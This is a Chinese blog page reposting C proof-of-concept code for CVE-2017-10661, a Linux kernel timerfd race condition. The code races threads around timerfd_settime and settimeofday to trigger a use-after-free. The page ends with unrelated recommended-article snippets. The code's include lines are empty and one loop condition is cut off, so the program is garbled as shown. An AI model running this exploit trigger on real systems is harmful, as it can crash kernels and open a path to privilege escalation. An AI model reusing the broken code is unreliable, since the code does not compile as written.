linux内核竞争条件漏洞,CVE-2017-10661_Vnihc的博客-程序员ITS301

技术标签: linux内核竞争条件漏洞  

/*

* PoC for CVE-2017-10661, triggers UAF with KASan enabled in kernel 4.10

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define RACE_TIME 1000000

int fd;

int fd_dumb;

int count=0;

void* list_add_thread(void* arg){

int ret;

struct itimerspec new ={

.it_interval={

.tv_sec=100,

.tv_nsec=100

},

.it_value={

.tv_sec=100,

.tv_nsec=100

}

};

int i=0;

while(i<1){

ret=timerfd_settime(fd,3,&new,NULL);

if(ret<0){

perror("timerfd settime failed !");

}

i++;

}

return NULL;

}

void* list_del_thread(void* arg){

int ret;

struct itimerspec new ={

.it_interval={

.tv_sec=100,

.tv_nsec=100

},

.it_value={

.tv_sec=100,

.tv_nsec=100

}

};

int i=0;

while(i<1){

ret=timerfd_settime(fd,1,&new,NULL);

if(ret<0){

perror("timerfd settime failed !");

}

i++;

}

return NULL;

}

int post_race()

{

int ret;

struct itimerspec new ={

.it_interval={

.tv_sec=100,

.tv_nsec=100

},

.it_value={

.tv_sec=100,

.tv_nsec=100

}

};

int i=0;

struct timeval tv={

.tv_sec = 120+count*2,

.tv_usec = 100

};

ret=settimeofday(&tv,NULL);

if(ret<0){

perror("settimeofday");

}

return 0;

}

int do_race(){

int ret_add[2];

int i;

int j;

pthread_t th[2]={0};

i=0;

while(i

if(i%128)

printf("%d\n",i);

fd=timerfd_create(CLOCK_REALTIME,0); // create the victim ctx

if(fd<0){

perror("timerfd craete failed!");

return -1;

}

ret_add[0] = pthread_create(&th[0],NULL,list_add_thread,(void*)1);

ret_add[1] = pthread_create(&th[1],NULL,list_add_thread,(void*)2);

for( j=0;j<2;j++){

pthread_join(th[j],NULL);

}

close(fd);

usleep(150000);

i++;

count++;

}

return 0;

}

int main(int argc, char const *argv[])

{

int ret;

// add dumb ctx

void* area;

void* base;

struct itimerspec new ={

.it_interval={

.tv_sec=100,

.tv_nsec=100

},

.it_value={

.tv_sec=100,

.tv_nsec=100

}

};

fd_dumb = timerfd_create(CLOCK_REALTIME,0);

ret=timerfd_settime(fd_dumb,3,&new,NULL);

if(ret<0){

perror("timerfd settime failed !");

}

ret=do_race();

if(ret <0){

puts("race failed!");

goto error_end;

}

sleep(5);

error_end:

close(fd);

exit(1);

}

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_42245701/article/details/116827023

智能推荐

mtk8127 bt sco 路径_markvz的博客-程序员ITS301_bt_sco

https://blog.csdn.net/xiaojsj111/article/details/43447437mtk8127 bt sco 路径2015年02月03日 19:26:40 阅读数:2770 标签: bluetoothandroid 更多个人分类: audioandroid linux bluetooth1 mtk8127做蓝牙耳机时的系统框图下面是bt sco...

Oracle 11g 新特性 -- RMAN Data Recovery Advisor(DRA) 说明_weixin_30757793的博客-程序员ITS301

一.Data Recovery Advisor(DRA) 说明1.1 DRA 说明DRA在遇到错误时会自动收集数据故障信息。此外,它还能预先检查故障。在此模式中,它可以在数据库进程发现损坏并发送错误消息之前检测和分析数据故障(请注意,修复始终在人为控制之下进行)。数据故障可能非常严重。例如,如果缺少最新的日志文件,则无法启动数据库。一些数据故障(如数据文件中的块损坏)不是灾难性故障,因为...

DbgView使用_jena_wy的博客-程序员ITS301_dbgview

一 DbgView简介Sysinternals公司的系列调试工具。debugview 可以捕获程序中由TRACE(debug版本)和OutputDebugString输出的信息。Debug信息捕获软件 可以很方便的捕获系统实时输出的Debug信息,并保存为日志文件。可以远程捕获服务器上的Debug信息。 比较方便开发人员在系统发布前监控一些系统流程和异常,甚至在系统不大的情况下,更能在部署后进行远程监控功能。二 实际操作Computer菜单下可选择连接的计算机,默认连接本机;输..

SSM_config配置springmvc.xml模板_weiyuanzhuo的博客-程序员ITS301

1.config配置springmvc.xml<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc" xmln

2016"百度之星" - 资格赛(Astar Round1)Problem A(快速幂+逆元)_LzyRapX的博客-程序员ITS301

Problem AAccepts: 836Submissions: 7022Time Limit: 2000/1000 MS (Java/Others)Memory Limit: 65536/65536 K (Java/Others)Problem Description度熊手上有一本字典存储了大量的单词,有一次,他把所有单词组成了一

Android 悬浮在Activity内的可拖动View_tyj244389820的博客-程序员ITS301_android 拖动view

开发中经常会遇到要做一个可以悬浮在页面内的View,以便展示活动或者提醒什么的,跳出页面悬浮的View就消失。一种方法是利用纯代码后台生成的方式,利用WindowManager和Imageview实现图片的悬浮。但是这种方法需要SYSTEM_ALERT_WINDOW权限,国内很多深度定制的系统,像MIUI,EMUI,Flyme等会把这个权限关闭。因此这些系统下面就显示不出来了,需要一直提醒用户去开

随便推点

nodejs EGG curl 请求外部接口_weixin_43232196的博客-程序员ITS301

需求:使用nodejs开发时,有时需要调用外部接口,nodejs接口中有https模块支持,不过如果你使用了EGG框架,curl方法更方便使用简单使用方法:var data = await this.ctx.curl('http:xxx.com/api');上面的示例是GET方式请求接口,实际情况可能需要用POST方法调用接口,如下所示:const result = await thi...

COS 访谈第 18 期:陈天奇(发明xgboost算法的大佬)_hemeinvyiqiluoben的博客-程序员ITS301_xgboost谁发明的

转自:https://cosx.org/2015/06/interview-of-tianqi 【COS 编辑部按】受访者:陈天奇 采访者:何通简介:陈天奇,华盛顿大学计算机系博士生,研究方向为大规模机器学习。他曾获得 KDD CUP 2012 Track 1 第一名,并开发了 SVDFeature,XGBoost,cxxnet 等著名机器学习工具,是 Distributed (Dee...

[收藏]__declspec关键字详细用法_ahch8077的博客-程序员ITS301

原文链接:http://hi.baidu.com/baiyw920/blog/item/a06ddb986314fd0f6e068c0c.html __declspec用于指定所给定类型的实例的与Microsoft相关的存储方式。其它的有关存储方式的修饰符如static与extern等是C和C++语言的ANSI规范,而__declspec是一种扩展属性的定义。扩展属性...

mysql-5.7.15-winx64免安装版配置_weixin_34085658的博客-程序员ITS301

1、拷到硬盘根目录下;2、在 bin 平行目录下新建  data 文件夹;3、 修改  my-default.ini 文件,添加basedir = C:\mysql-5.7.15-winx64datadir = C:\mysql-5.7.15-winx64\dataport = 3306skip-grant-tables4、以管理员身份打开cmd窗口后,将目录切换到你解压文件的bin目录...

實作同步 .NET Socket UDP《使用UdpClient類別》_merryken的博客-程序员ITS301

在 .NET有兩種類別可用於建立UDP Socket,一是Socket類別,第二個則是由Socket類別所衍生的UdpClient類別。因為同步比非同步簡單、衍生類別比基底類別簡單、UDP比TCP簡單,所以我把同步的UdpClient當成Socket程式入門的首篇實作文章。       先來談談UDP的特性好了,以下是UDP與TCP一份簡單的比較表: UDPTCP

西南大学计算机科学与技术专业在哪个校区,西南大学有几个校区及校区地址 哪个校区最好..._北京房姐说房的博客-程序员ITS301

最近有很多考生和家长咨询小编,西南大学有几个校区,今年新生会被分配到哪个校区?哪个校区好?等相关问题,下面小编统一回复一下考生们的问题。西南大学现在有2个校区,分别为西南大学北碚校区、荣昌校区。西南大学校区地址及简介1、西南大学北碚校区地址:重庆市北碚区天生路2号2、西南大学荣昌校区西南大学荣昌校区,简称“西荣”,位于中国畜牧科技城、国家现代畜牧业示范区核心区——重庆市荣昌区,荣昌校区是西南大学“...